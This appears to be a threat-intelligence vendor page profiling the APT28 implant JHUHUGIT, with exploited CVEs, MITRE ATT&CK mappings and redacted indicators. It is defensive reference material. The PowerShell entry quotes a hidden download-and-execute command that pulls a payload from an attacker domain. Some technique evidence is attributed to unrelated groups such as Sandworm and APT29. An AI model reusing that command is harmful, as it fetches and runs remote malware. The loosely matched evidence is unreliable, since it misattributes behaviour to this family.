Skip to main content
Mallory
MalwareUsed by 1 actorExploits 25 CVEs

JHUHUGIT

Also known asGAMEFISHJKEYSKWSednitSeduploaderSofacyCarberpTrojan.Sofacy

JHUHUGIT, also known as Gamefish and associated with the Sednit/Sofacy/APT28/Fancy Bear intrusion set, is a Windows backdoor/implant used in long-running Russian state-linked espionage operations. The content states that it was added to Fancy Bear’s toolkit in 2013 and that researchers observed it being delivered via spearphishing, the SedKit exploit kit, DDE-executed PowerShell from Word documents, a Flash zero-day, and a Java zero-day (CVE-2015-2590). It has also been associated with sandbox escape and privilege-escalation activity using CVE-2015-1701 and CVE-2015-2387, and later reporting ties APT28 exploitation chains to delivery of the GAMEFISH payload after CVE-2017-0262/CVE-2017-0263 exploitation.

Capabilities directly mentioned in the content include code injection into browser processes, screenshot capture by simulating the VK_SCREENSHOT key and reading the clipboard before converting the image to JPG, and Base64 encoding of C2 POST data in at least one variant. Persistence mechanisms explicitly cited include registration as a scheduled task at user logon and COM hijacking, including hijacking the MMDeviceEnumerator class and registering the payload as a Shell Icon Overlay handler COM object using CLSID {3543619C-D563-43f7-95EA-4DA7E1CC396A}. The content also notes that JHUHUGIT was built with code from the Carberp sources.

Operationally, JHUHUGIT appears in Sednit/APT28 workflows as an early-stage or standalone implant alongside other group malware such as Seduploader, Sedreco, Xagent, CHOPSTICK, CORESHELL, and ADVSTORESHELL. Reported targeting in the provided content includes governments, military and defense-related entities, embassies, and EU agencies, consistent with broader APT28 targeting of geopolitical, diplomatic, and defense organizations.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

EXPLOITED CVES

Vulnerabilities exploited

25 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

25 CVES
CVE-2017-0262Microsoft Office EPS Filter Remote Code Execution VulnerabilityExploited in the wild

Analysis of the document revealed its end goal: dropping Sednit’s well-known reconnaissance tool, Seduploader. To achieve this, Sednit used two zero-day exploits: ... CVE-2017-0262 ... and ... CVE-2017-0263.

via eset welivesecurity blogwelivesecurity.com
CVE-2017-0263Win32k Elevation of Privilege Vulnerability in Microsoft WindowsExploited in the wild

Analysis of the document revealed its end goal: dropping Sednit’s well-known reconnaissance tool, Seduploader. To achieve this, Sednit used two zero-day exploits: ... CVE-2017-0262 ... and ... CVE-2017-0263.

via eset welivesecurity blogwelivesecurity.com
CVE-2015-1701Win32k.sys Elevation of Privilege VulnerabilityExploited in the wild

JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.

via mitre attackattack.mitre.org
CVE-2015-2387ATMFD.DLL Memory Corruption Vulnerability in Microsoft WindowsExploited in the wild

JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.

via mitre attackattack.mitre.org
CVE-2016-4117Adobe Flash Player Remote Code Execution VulnerabilityExploited in the wild

IoCs Table 2 lists a phishing document (f3805382ae2e23ff1147301d131a06e00e4ff75f) detected as Win32/Exploit.CVE-2016-4117.A; the report describes Sednit’s DealersChoice platform embedding Adobe Flash Player exploits in malicious Office documents.

via eset welivesecurity blogwelivesecurity.com
CVE-2017-11292Adobe Flash Player type confusion in bytecode verificationExploited in the wild

IoCs Table 2 lists a lure document (World War3.docx; SHA-1 7aada8bcc0d1ab8ffb1f0fae4757789c6f5546a3) detected as SWF/Exploit.CVE-2017-11292.A; the report notes DealersChoice generates malicious documents with embedded Adobe Flash Player exploits.

via eset welivesecurity blogwelivesecurity.com
CVE-2015-2545Microsoft Office Malformed EPS File Vulnerability

Analysis of the document revealed its end goal: dropping Sednit’s well-known reconnaissance tool, Seduploader. To achieve this, Sednit used two zero-day exploits: ... CVE-2017-0262 ... and ... CVE-2017-0263.

via eset welivesecurity blogwelivesecurity.com
CVE-2015-1641Microsoft Office RTF Memory Corruption Remote Code ExecutionExploited in the wild

The RTF attachment exploits the CVE-2015-1641 vulnerability to drop two DLLs on the system... This particular case is one among a series of attacks using the CVE-2015-1641 vulnerability launched from April 2016 by the Sednit group. | Seduploader serves as reconnaissance malware. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper.

via eset welivesecurity blogwelivesecurity.com
CVE-2015-2424Microsoft Office Memory Corruption VulnerabilityExploited in the wild

Seduploader serves as reconnaissance malware. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. | CVE-2015-2424 Microsoft Office 0-day at the time the Sednit group used it. Seduploader deployed with targeted phishing emails using a 0-day exploit for the Microsoft Office vulnerability CVE-2015-2424.

via eset welivesecurity blogwelivesecurity.com
CVE-2015-2590Oracle Java SE Libraries unspecified remote vulnerabilityExploited in the wild

The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day (CVE-2015-2590) in July 2015. | JHUHUGIT (which is built with code from the Carberp sources)... its JHUHUGIT implant was delivered through a Flash zero-day and used a Windows EoP exploit to break out of the sandbox.

via securelistsecurelist.com
CVE-2014-1510Mozilla WebIDL chrome-privileged JavaScript execution via window.openExploited in the wild

Table 3. Sedkit exploited vulnerabilities: CVE-2014-1510 / CVE-2014-1511 Firefox.

via eset welivesecurity blogwelivesecurity.com
CVE-2014-1511Mozilla Firefox popup blocker bypassExploited in the wild

Table 3. Sedkit exploited vulnerabilities: CVE-2014-1510 / CVE-2014-1511 Firefox.

via eset welivesecurity blogwelivesecurity.com
CVE-2012-0158MSCOMCTL.OCX ListView/TreeView ActiveX Remote Code ExecutionExploited in the wild

Table 1. Vulnerabilities exploited with targeted phishing attachments: CVE-2012-0158 Microsoft Office.

via eset welivesecurity blogwelivesecurity.com
CVE-2014-1761Microsoft Word RTF Memory Corruption RCEExploited in the wild

Table 1. Vulnerabilities exploited with targeted phishing attachments: CVE-2014-1761 Microsoft Word 0-day at the time the Sednit group used it.

via eset welivesecurity blogwelivesecurity.com
CVE-2014-6332Windows OLE Automation Array Remote Code Execution VulnerabilityExploited in the wild

The vulnerability CVE-2014-6332 was discovered in May 2014... Soon after the disclosure, a proof-of-concept was released... in October 2015 a simple revamped version of the original proof-of-concept was added to Sedkit. But the Sednit group went one step further in February 2016 by deploying a different exploit for this vulnerability.

via eset welivesecurity blogwelivesecurity.com
CVE-2010-3333RTF Stack Buffer Overflow Vulnerability in Microsoft OfficeExploited in the wild

Table 1. Vulnerabilities exploited with targeted phishing attachments: CVE-2010-3333 Microsoft Office.

via eset welivesecurity blogwelivesecurity.com
CVE-2015-5119Use-after-free RCE in Adobe Flash Player ByteArrayExploited in the wild

Table 3. Sedkit exploited vulnerabilities: CVE-2015-5119 Adobe Flash. Revamped from Hacking Team leaked data.

via eset welivesecurity blogwelivesecurity.com
CVE-2013-2729Integer Overflow RCE in Adobe Reader and AcrobatExploited in the wild

Table 1. Vulnerabilities exploited with targeted phishing attachments: CVE-2013-2729 Adobe Acrobat Reader.

via eset welivesecurity blogwelivesecurity.com
CVE-2013-3897Internet Explorer CDisplayPointer use-after-free memory corruptionExploited in the wild

Table 3. Sedkit exploited vulnerabilities: CVE-2013-3897 Internet Explorer 8.

via eset welivesecurity blogwelivesecurity.com
CVE-2009-3129Excel FEATHEADER Record Memory Corruption VulnerabilityExploited in the wild

Table 1. Vulnerabilities exploited with targeted phishing attachments: CVE-2009-3129 Microsoft Excel.

via eset welivesecurity blogwelivesecurity.com
CVE-2015-3043Adobe Flash Player memory corruption RCE/DoS (CVE-2015-3043)Exploited in the wild

CVE-2015-3043 Adobe Flash 0-day at the time Sedkit used it.

via eset welivesecurity blogwelivesecurity.com
CVE-2015-7645Adobe Flash Player crafted SWF remote code executionExploited in the wild

CVE-2015-7645 Adobe Flash 0-day at the time Sedkit used it.

via eset welivesecurity blogwelivesecurity.com
CVE-2013-1347Microsoft Internet Explorer 8 CGenericElement Use-After-FreeExploited in the wild

Table 3. Sedkit exploited vulnerabilities: CVE-2013-1347 Internet Explorer 8.

via eset welivesecurity blogwelivesecurity.com
CVE-2015-4902Java Deployment click-to-play bypass in Oracle Java SEExploited in the wild

CVE-2015-4902 Java 0-day at the time Sedkit used it.

via eset welivesecurity blogwelivesecurity.com
CVE-2014-1776Use-after-free RCE in Microsoft Internet Explorer 6 through 11Exploited in the wild

Table 3. Sedkit exploited vulnerabilities: CVE-2014-1776 Internet Explorer 11.

via eset welivesecurity blogwelivesecurity.com
THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
APT28

Spear phishing campaigns or the SedKit exploit kit delivered the Seduploader first stage.

via sekoia blogblog.sekoia.io
MITRE ATT&CK

Techniques & procedures

25 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

3 techniques
T1189Drive-by CompromiseEvidence1

They also send emails purportedly containing links to news items, but instead linking to malware drop sites that install toolkits onto the target's computer.

T1566PhishingEvidence2

Spear phishing campaigns or the SedKit exploit kit delivered the Seduploader first stage.

T1566.001Spearphishing AttachmentEvidence3

Figure 2. Main attack methods and malware used by the Sednit group since 2014... Email attachments

Execution

5 techniques
T1053Scheduled Task/JobEvidence1

“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”

T1053.005Scheduled TaskEvidence2

During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.

T1059.001PowerShellEvidence1

“powershell.exe -NoP -sta -NonI -W Hidden… DownloadString('http://sendmevideo.org/.../eee.txt'); powershell -enc $e” / “Seduploader dropper replaced by PowerShell commands delivering the Seduploader payload.”

T1059.003Windows Command ShellEvidence2

APT1 has used the Windows command shell to execute commands, and batch scripting to automate execution. Blue Mockingbird has used batch script files to automate execution and deployment of payloads. During HomeLand Justice, threat actors used Windows batch files for persistence and execution.

T1559.002Dynamic Data ExchangeEvidence2

APT28 has delivered JHUHUGIT and Koadic by executing PowerShell commands through DDE in Word documents.

Persistence

3 techniques
T1053Scheduled Task/JobEvidence1

“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”

T1053.005Scheduled TaskEvidence2

During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.

T1547.001Registry Run Keys / Startup FolderEvidence3

The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, or .lnk files in the Startup folder.

Privilege Escalation

5 techniques
T1053Scheduled Task/JobEvidence1

“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”

T1053.005Scheduled TaskEvidence2

During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.

T1055Process InjectionEvidence3

The content repeatedly describes malware and threat actors injecting shellcode, DLLs, or payloads into legitimate processes such as svchost.exe, explorer.exe, iexplore.exe, cmd.exe, lsass.exe, and browser processes.

T1068Exploitation for Privilege EscalationEvidence2

APT28 has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges. ... APT29 has exploited CVE-2021-36934 to escalate privileges on a compromised host. ... multiple groups/tools exploit various CVEs to escalate privileges.

T1547.001Registry Run Keys / Startup FolderEvidence3

The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, or .lnk files in the Startup folder.

Stealth

6 techniques
T1027Obfuscated Files or InformationEvidence4

The content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.

T1055Process InjectionEvidence3

The content repeatedly describes malware and threat actors injecting shellcode, DLLs, or payloads into legitimate processes such as svchost.exe, explorer.exe, iexplore.exe, cmd.exe, lsass.exe, and browser processes.

T1070Indicator RemovalEvidence1

Many entries explicitly describe deleting artifacts 'to cover tracks,' 'evade detection,' 'remove evidence,' 'reduce their footprint,' or as part of 'post-intrusion cleanup process.' Examples include APT28 deleting files to cover tracks, FIN5 using SDelete to clean up the environment, and Dragonfly deleting operational files as part of cleanup.

T1070.004File DeletionEvidence4

The content repeatedly describes threat actors and malware deleting files, tools, scripts, logs, droppers, staged data, and artifacts from compromised systems to cover tracks, remove evidence, or self-delete.

T1070.009Clear PersistenceEvidence1

“its first part will create a mutex named flPGdvyhPykxGvhDOAZnU”

T1620Reflective Code LoadingEvidence1

“The shell config allows the attacker to execute arbitrary code directly in-memory.”

Credential Access

1 technique
T1056Input CaptureEvidence1

“Sednit chose to use keybd_event to send a “Print screen” keystroke and then retrieve the image from the clipboard.”

Discovery

4 techniques
T1012Query RegistryEvidence1

"APT32 ... query the Windows Registry to gather system information"; "JHUHUGIT obtains ... hard drive information from Windows registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum"

T1016System Network Configuration DiscoveryEvidence2

The content repeatedly describes actors and malware using commands and APIs such as ipconfig /all, ifconfig, arp -a, route print, netsh interface show, GetAdaptersInfo, and GetIpNetTable to gather IP addresses, MAC addresses, DNS, DHCP, gateways, routing tables, ARP cache, proxy settings, and network adapter/interface details.

T1057Process DiscoveryEvidence2

The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.

T1082System Information DiscoveryEvidence3

"4H RAT sends an OS version identifier in its beacons"; "admin@338 actors used ... ver ... systeminfo"; "Bundlore will enumerate the macOS version ... using /usr/bin/sw_vers -productVersion"; "DarkTortilla ... querying ... WMI objects"; "Turla ... discover operating system configuration details using the systeminfo and set commands"

Collection

2 techniques
T1056Input CaptureEvidence1

“Sednit chose to use keybd_event to send a “Print screen” keystroke and then retrieve the image from the clipboard.”

T1113Screen CaptureEvidence2

“This tag allows the exfiltration of screenshots… send a “Print screen” keystroke and then retrieve the image from the clipboard… base64-encoded and added to the report”

Command and Control

3 techniques
T1071.001Web ProtocolsEvidence3

The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.

T1105Ingress Tool TransferEvidence1

“Seduploader… download additional malware.” / “the Seduploader binary is downloaded from the C&C server and executed” / “variant B… contact a C&C server which will deliver the selected exploit and the final malicious payload.”

T1132Data EncodingEvidence2

C2 traffic from ADVSTORESHELL is encrypted, then encoded with Base64 encoding... APT19 HTTP malware variant used Base64 to encode communications to the C2 server... APT33 has used base64 to encode command and control traffic.

INDICATORS OF COMPROMISE

IOCs tracked for this family

3 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
1 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
2 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

TypeValueLatest sighting
hash.sha256●●●●●●●●●●●●View more in app9 years ago
domain●●●●●●●●●●●●View more in app9 years ago
hash.sha1●●●●●●●●●●●●View more in app9 years ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching3

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities25

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping25

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.